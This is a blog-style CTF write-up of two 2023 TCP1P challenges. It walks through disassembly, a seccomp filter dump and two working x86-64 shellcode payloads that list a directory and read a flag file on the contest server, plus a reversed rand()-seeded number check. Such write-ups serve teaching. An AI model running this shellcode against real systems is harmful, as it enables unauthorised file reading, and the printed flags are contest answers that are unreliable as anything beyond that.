TCP1P CTF Writeups
This weekend, some friends and I have taken part in a CTF. Despite not giving it our full attention because of school and other stuff, we managed to solve a couple of the easier challenges.
Incidentally, this was also the first CTF I joined as part of a team and the first time I could share my knowledge and my methods with others, which is commonly done through the medium known as “write-ups”. A write-up is essentially nothing more than an explanation of how a challenge was (or could be) successfully solved by a participant, allowing contestants who were not successful in solving the task to learn something new and expand their arsenal of hacking skills.
Although the challenges I solved were not hard and there will likely be many more (potentially better or more detailed) write-ups, I decided I might as well share them anyways, so if you’re interested, keep reading.
The CTF in question was the 2023 TCP1P CTF, the challenges (or as TCP1P calls them, games) I solved were Subject Encallment
in the Reverse Engineering category, Bluffer Overflow
and message
in the PWN category and zipzipzip
and Guess My Number
in the Misc category. I have not written a write-up for Subject Encallment and Bluffer Overflow, since I have demonstrated the exploitation in person during the CTF (the former is a really simple ELF reverse engineering task, the latter is an almost foolproof buffer overflow exploitation challenge), and I will also not include a write-up for zipzipzip, since it is frankly quite trivial.
Alright, let’s get into it!
Table of contents
Message
We are given an IP with a port (nc ctf.tcp1p.com 8008
) and a binary file named chall
.
Connecting to the given service with netcat as suggested, we are presented with a question: “Anything you want to tell me?”… Quickly you will find out that entering any textual input will crash the program with either a Segmentation Fault or an Illegal Instruction.
Looking at the binary file with the file
command, we find out that it’s a 64-bit ELF executable, and running it in a safe environment produces the same behaviour as the remote service, so it is safe to assume it’s the same executable as the one running on the server.
Solution
Since we’re not given any source files, let’s look at the disassembly of the main
function using objdump -d -Mintel ./chall
and analyze its behaviour:
00000000000013b7 <main>:
# unimportant, function prologue
13b7: f3 0f 1e fa endbr64
13bb: 55 push rbp
13bc: 48 89 e5 mov rbp,rsp
13bf: 48 83 ec 10 sub rsp,0x10
# var_10 = malloc(0x150);
13c3: bf 50 01 00 00 mov edi,0x150
13c8: e8 b3 fd ff ff call 1180 <malloc@plt>
13cd: 48 89 45 f0 mov QWORD PTR [rbp-0x10],rax
# var_8 = mmap(NULL, 0x1000, READ | WRITE | EXEC, ...);
13d1: 41 b9 00 00 00 00 mov r9d,0x0
13d7: 41 b8 ff ff ff ff mov r8d,0xffffffff
13dd: b9 22 00 00 00 mov ecx,0x22
13e2: ba 07 00 00 00 mov edx,0x7
13e7: be 00 10 00 00 mov esi,0x1000
13ec: bf 00 00 00 00 mov edi,0x0
13f1: e8 5a fd ff ff call 1150 <mmap@plt>
13f6: 48 89 45 f8 mov QWORD PTR [rbp-0x8],rax
# setup();
13fa: b8 00 00 00 00 mov eax,0x0
13ff: e8 a5 fe ff ff call 12a9 <setup>
# seccomp_setup();
1404: b8 00 00 00 00 mov eax,0x0
1409: e8 00 ff ff ff call 130e <seccomp_setup>
# if (var_8 == -1 || var_10 == 0)
140e: 48 83 7d f8 ff cmp QWORD PTR [rbp-0x8],0xffffffffffffffff
1413: 74 07 je 141c <main+0x65>
1415: 48 83 7d f0 00 cmp QWORD PTR [rbp-0x10],0x0
141a: 75 16 jne 1432 <main+0x7b>
# perror(...); return 1;
141c: 48 8d 05 e5 0b 00 00 lea rax,[rip+0xbe5]
1423: 48 89 c7 mov rdi,rax
1426: e8 85 fd ff ff call 11b0 <perror@plt>
142b: b8 01 00 00 00 mov eax,0x1
1430: eb 6a jmp 149c <main+0xe5>
# else
# puts(...);
1432: 48 8d 05 e7 0b 00 00 lea rax,[rip+0xbe7]
1439: 48 89 c7 mov rdi,rax
143c: e8 ef fc ff ff call 1130 <puts@plt>
# read(stdin, var_10, 0x150);
1441: 48 8b 45 f0 mov rax,QWORD PTR [rbp-0x10]
1445: ba 50 01 00 00 mov edx,0x150
144a: 48 89 c6 mov rsi,rax
144d: bf 00 00 00 00 mov edi,0x0
1452: e8 09 fd ff ff call 1160 <read@plt>
# memcpy(var_8, var_10, 0x1000);
1457: 48 8b 4d f0 mov rcx,QWORD PTR [rbp-0x10]
145b: 48 8b 45 f8 mov rax,QWORD PTR [rbp-0x8]
145f: ba 00 10 00 00 mov edx,0x1000
1464: 48 89 ce mov rsi,rcx
1467: 48 89 c7 mov rdi,rax
146a: e8 01 fd ff ff call 1170 <memcpy@plt>
# ((void (*)(void))var_8)();
146f: 48 8b 55 f8 mov rdx,QWORD PTR [rbp-0x8]
1473: b8 00 00 00 00 mov eax,0x0
1478: ff d2 call rdx
# cleanup & return
147a: 48 8b 45 f0 mov rax,QWORD PTR [rbp-0x10]
147e: 48 89 c7 mov rdi,rax
1481: e8 7a fc ff ff call 1100 <free@plt>
1486: 48 8b 45 f8 mov rax,QWORD PTR [rbp-0x8]
148a: be 00 10 00 00 mov esi,0x1000
148f: 48 89 c7 mov rdi,rax
1492: e8 f9 fc ff ff call 1190 <munmap@plt>
1497: b8 00 00 00 00 mov eax,0x0
149c: c9 leave
149d: c3 ret
In simple terms, the program reads from the standard input, copies the input into an allocated page with execute permissions, calls setup()
and seccomp_setup()
and then calls the copied input bytes as if they were a function. That explains (or confirms) the suspicious behaviour when text was supplied as input.
At a quick glance, setup
looks like the same function that was used in the Bluffer Overflow
challenge and isn’t important for the attacker. The only remaining part of the puzzle is the seccomp_setup()
call. What is seccomp?
seccomp (short for secure computing mode) is a computer security facility in the Linux kernel. seccomp allows a process to make a one-way transition into a “secure” state where it cannot make any system calls except exit(), sigreturn(), read() and write() to already-open file descriptors. (Wikipedia, 2023/10/14)
Looking inside the seccomp_setup function, we see that several calls to seccomp_add_rule
are being made, after an initial call to seccomp_init
and before finally calling seccomp_load
.
I tried understanding these calls just from the code, but it turned out to be much easier to use an existing tool for the task (many thanks to the author).
Running seccomp-tools dump ./chall
gave the following output:
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x08 0xc000003e if (A != ARCH_X86_64) goto 0010
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x05 0xffffffff if (A != 0xffffffff) goto 0010
0005: 0x15 0x03 0x00 0x00000000 if (A == read) goto 0009
0006: 0x15 0x02 0x00 0x00000001 if (A == write) goto 0009
0007: 0x15 0x01 0x00 0x00000002 if (A == open) goto 0009
0008: 0x15 0x00 0x01 0x000000d9 if (A != getdents64) goto 0010
0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0010: 0x06 0x00 0x00 0x00000000 return KILL
which can be interpreted as saying (roughly) “only allow these system calls: read, write, open, getdents64”.
Now it was time to write some shellcode to execute on the remote server. Eventually, we want to be able to read the flag, which we assume is in a file somewhere on the server, but we don’t know the name of that file, or its location. Therefore, we start by listing the contents of the /home/ctf
directory (we know this directory is where the program is located thanks to the error output from the server). This can be done with the getdents64 (get directory entries 64) syscall.
Here is the exploit I wrote:
.intel_syntax noprefix
# prologue, not strictly necessary, but allows you to use the rbp register to access local vars
# (for this part I simply modified code generated by gcc from a C source file)
push rbp
mov rbp, rsp
sub rsp, 0x10020
# write the string '/home/ctf',0 somewhere on the stack
mov DWORD PTR [rsp], 0x6d6f682f
mov DWORD PTR [rsp+0x4], 0x74632f65
mov DWORD PTR [rsp+0x8], 0x66 # this will also write the terminating zero
# call open with the appropriate flags
xor edx, edx # mode can be zero
mov rsi, 65536 # O_DIRECTORY | O_RDONLY
mov rdi, rsp # const char *filename
mov rax, 0x2 # open
syscall
# call getdents64 with the fd returned by open
mov rdx, 0x10000 # cnt bytes
# I decided to just write into stack memory, since we don't need it for anything else :P
mov rsi, rsp # buff *
mov rdi, rax # fd
mov rax, 0xd9 # getdents64
syscall
# cnt is the number of bytes written, returned by getdents64
mov QWORD PTR [rbp-0x18], rax # cnt
# ptr is an offset into the buffer pointing at the current linux_dent64 structure
mov QWORD PTR [rbp-0x8], 0 # ptr
jmp .cond
# iterate through all linux_dent64 structures
.loop:
lea rdx,[rbp-0x10020]
mov rax,QWORD PTR [rbp-0x8]
add rax,rdx
movzx eax,WORD PTR [rax+0x10]
movzx eax,ax
lea rdx,[rax-0x14]
lea rcx,[rbp-0x10020]
mov rax,QWORD PTR [rbp-0x8]
add rax,rcx
add rax,0x13
# write the name of the file to stdout
mov rdx, rdx
mov rsi, rax
mov rdi, 1
mov rax, 1
syscall
# write a newline to stdout
mov DWORD PTR [rsp-4], 0x0a
mov edx, 1
lea rsi, [rsp-4]
mov rdi, 1
mov rax, 1
syscall
lea rdx,[rbp-0x10020]
mov rax,QWORD PTR [rbp-0x8]
add rax,rdx
movzx eax,WORD PTR [rax+0x10]
movzx eax,ax
add QWORD PTR [rbp-0x8],rax
.cond:
mov rax, QWORD PTR [rbp-0x18]
cmp QWORD PTR [rbp-0x8], rax
jb .loop
nop
nop
leave
ret
Assembling with as exploit.asm
, extracting the bytes of the function itself into another file called payload_ls
(I don’t know about a good way of doing this, I used xxd
) and running ./chall < payload_ls
successfully lists the contents of the /home/ctf
directory (if it exists, we don’t really care about error handling).
Sending the payload to the server (cat payload_ls | nc ...
) returns the following:
Anything you want to tell me?
.
..
flag-3462d01f8e1bcc0d8318c4ec420dd482a82bd8b650d1e43bfc4671cf9856ee90.txt
run_challenge.sh
chall
bin
dev
/home/ctf/run_challenge.sh: line 2: 4869 Segmentation fault ./chall
Now we know which file to read to obtain the flag. Let’s write another exploit, this time reading the appropriate file.
.intel_syntax noprefix
# Again, overwrite the stack with the file path
# (I generated these (text) instructions with a C program)
mov DWORD PTR [rsp+0x0], 0x6d6f682f
mov DWORD PTR [rsp+0x4], 0x74632f65
mov DWORD PTR [rsp+0x8], 0x6c662f66
mov DWORD PTR [rsp+0xc], 0x332d6761
mov DWORD PTR [rsp+0x10], 0x64323634
mov DWORD PTR [rsp+0x14], 0x38663130
mov DWORD PTR [rsp+0x18], 0x63623165
mov DWORD PTR [rsp+0x1c], 0x38643063
mov DWORD PTR [rsp+0x20], 0x63383133
mov DWORD PTR [rsp+0x24], 0x34636534
mov DWORD PTR [rsp+0x28], 0x64643032
mov DWORD PTR [rsp+0x2c], 0x61323834
mov DWORD PTR [rsp+0x30], 0x64623238
mov DWORD PTR [rsp+0x34], 0x35366238
mov DWORD PTR [rsp+0x38], 0x65316430
mov DWORD PTR [rsp+0x3c], 0x66623334
mov DWORD PTR [rsp+0x40], 0x37363463
mov DWORD PTR [rsp+0x44], 0x39666331
mov DWORD PTR [rsp+0x48], 0x65363538
mov DWORD PTR [rsp+0x4c], 0x2e303965
mov DWORD PTR [rsp+0x50], 0x747874
# open(filename, flags, mode)
xor edx, edx
xor esi, esi
mov rdi, rsp
mov rax, 2
syscall
# read(fd, buffer, count)
mov rdx, 0x100
mov rsi, rsp
mov rdi, rax
xor eax, eax
syscall
# write(stdout, buffer, count)
mov rdx, rax
mov rsi, rsp
mov rdi, 1
mov rax, 1
syscall
# you could also exit here, but ¯\_(ツ)_/¯
Again, running cat payload_readflag | nc ...
prints
Anything you want to tell me?
TCP1P{I_pr3fer_to_SAY_ORGW_rather_th4n_OGRW_d0nt_y0u_th1nk_so??}/home/ctf/run_challenge.sh: line 2: 4875 Segmentation fault ./chall
Guess My Number
We are given an IP with a port (nc ctf.tcp1p.com 7331
) and a zip with a 64-bit ELF executable file named guess
.
The challenge asks us to guess a number and promises that if our guess is correct, it will reveal the flag. We could, of course, take a guess, but we don’t know anything about the size of the number or if the challenge is even honest with us. To understand how the program processes the input and decides whether the guess is correct, we need to analyze (or reverse-engineer) it.
Solution
Analyzing the main function using objdump -d -Mintel ./guess
reveals three function calls: One to flag_handler
(simply checks if the flag file is found, otherwise exits with an error), banner
and vuln
.
The banner
function just prints this banner to the standard output:
======= WELCOME TO GUESSING GAME =======
======= IF YOU CAN GUESS MY NUMBER, I'LL GIVE YOU THE FLAG =======
so the interesting part is probably going to be the vuln
function. Let’s look at it in detail:
000000000000122b <vuln>:
# function prologue
122b: 55 push rbp
122c: 48 89 e5 mov rbp,rsp
122f: 48 83 ec 10 sub rsp,0x10
# Move zero into a global 32-bit variable named 'key'
1233: c7 05 27 2e 00 00 00 mov DWORD PTR [rip+0x2e27],0x0 # 4064 <key>
123a: 00 00 00
# Call srand with 0x539 as the argument - this effectively seeds
# the pseudo-random number generator from the C standard library
# with that value, so all 'random' number generation will be
# deterministic (and replicable!)
123d: bf 39 05 00 00 mov edi,0x539
1242: e8 19 fe ff ff call 1060 <srand@plt>
# Call rand() to get a random 32-bit number and store it in
# the local var_4
1247: e8 64 fe ff ff call 10b0 <rand@plt>
124c: 89 45 fc mov DWORD PTR [rbp-0x4],eax
# Load the string 'Your Guess : ' into rdi and call printf
124f: 48 8d 05 67 0e 00 00 lea rax,[rip+0xe67]
1256: 48 89 c7 mov rdi,rax
1259: b8 00 00 00 00 mov eax,0x0
125e: e8 ed fd ff ff call 1050 <printf@plt>
# Because printf wasn't called with a newline-terminated string,
# the programmer had to call fflush(stdout) to flush the buffer
1263: 48 8b 05 ee 2d 00 00 mov rax,QWORD PTR [rip+0x2dee] # 4058 <stdout@GLIBC_2.2.5>
126a: 48 89 c7 mov rdi,rax
126d: e8 fe fd ff ff call 1070 <fflush@plt>
# Read the number provided on the standard input and write it to
# the global variable 'key' (the one that was zeroed earlier)
1272: 48 8d 05 eb 2d 00 00 lea rax,[rip+0x2deb] # 4064 <key>
1279: 48 89 c6 mov rsi,rax
127c: 48 8d 05 48 0e 00 00 lea rax,[rip+0xe48] # "%d"
1283: 48 89 c7 mov rdi,rax
1286: b8 00 00 00 00 mov eax,0x0
128b: e8 00 fe ff ff call 1090 <__isoc99_scanf@plt>
# This is the important part:
#
# The 'random'-generated number in var_4 is moved into eax,
# 0x1467f3 is added to it, and it is xored with the input number,
# now stored in the 'key' global variable. The result is compared
# to the constant 0xcafebabe.
1290: 8b 45 fc mov eax,DWORD PTR [rbp-0x4]
1293: 8d 90 f3 67 14 00 lea edx,[rax+0x1467f3]
1299: 8b 05 c5 2d 00 00 mov eax,DWORD PTR [rip+0x2dc5] # 4064 <key>
129f: 31 d0 xor eax,edx
12a1: 3d be ba fe ca cmp eax,0xcafebabe
# If the result does not equal 0xcafebabe, jump to a fail branch.
12a6: 75 28 jne fail # (12d0, but I wanted a descriptive label)
# Otherwise, congratulate the user and print the flag by invoking
# the system command 'cat flag.txt'.
12a8: 48 8d 05 1f 0e 00 00 lea rax,[rip+0xe1f] # "Correct! This is your flag :"
12af: 48 89 c7 mov rdi,rax
12b2: e8 79 fd ff ff call 1030 <puts@plt>
12b7: 48 8d 05 2d 0e 00 00 lea rax,[rip+0xe2d] # "cat flag.txt"
12be: 48 89 c7 mov rdi,rax
12c1: e8 7a fd ff ff call 1040 <system@plt>
# Finally, call exit(0).
12c6: bf 00 00 00 00 mov edi,0x0
12cb: e8 d0 fd ff ff call 10a0 <exit@plt>
fail:
# Print a failure message and return to the main function.
12d0: 48 8d 05 21 0e 00 00 lea rax,[rip+0xe21] # "Wrong, Try again harder!"
12d7: 48 89 c7 mov rdi,rax
12da: e8 51 fd ff ff call 1030 <puts@plt>
12df: 90 nop
12e0: c9 leave
12e1: c3 ret
Putting all the puzzle pieces together:
- We know that whatever number we input, it will be xored with a deterministically generated number added to a constant.
- We know that the result will be compared to the magic number
0xcafebabe
.
Therefore, our ‘equation’ looks like this:
x ^ (rand(seed = 0x539) + 0x1467f3) = 0xcafebabe
We will take advantage of the fact that the xor
operation is an involution and apply ^ (rand(seed = 0x539) + 0x1467f3)
to both sides of the equation. That gives us
x ^ (rand(seed = 0x539) + 0x1467f3) ^ (rand(seed = 0x539) + 0x1467f3) = 0xcafebabe ^ (rand(seed = 0x539) + 0x1467f3)
or equivalently
x = 0xcafebabe ^ (rand(seed = 0x539) + 0x1467f3)
Now we just write a trivial C one-liner to compute this number for us:
/* File: solve.c */
#include <stdio.h>
#include <stdlib.h>
int main() {
srand(0x539), printf("%d\n", (rand() + 0x1467f3) ^ 0xcafebabe);
return 0;
}
and compile the code using gcc solve.c
.
The result turns out to be -612639902
, but that’s too complicated to type manually, so let’s take advantage of unix pipes and just run ./a.out | nc ctf.tcp1p.com 7331
.
======= WELCOME TO GUESSING GAME =======
======= IF YOU CAN GUESS MY NUMBER, I'LL GIVE YOU THE FLAG =======
Your Guess : TCP1P{r4nd0m_1s_n0t_th4t_r4nd0m_r19ht?_946f38f6ee18476e7a0bff1c1ed4b23b}
Correct! This is your flag :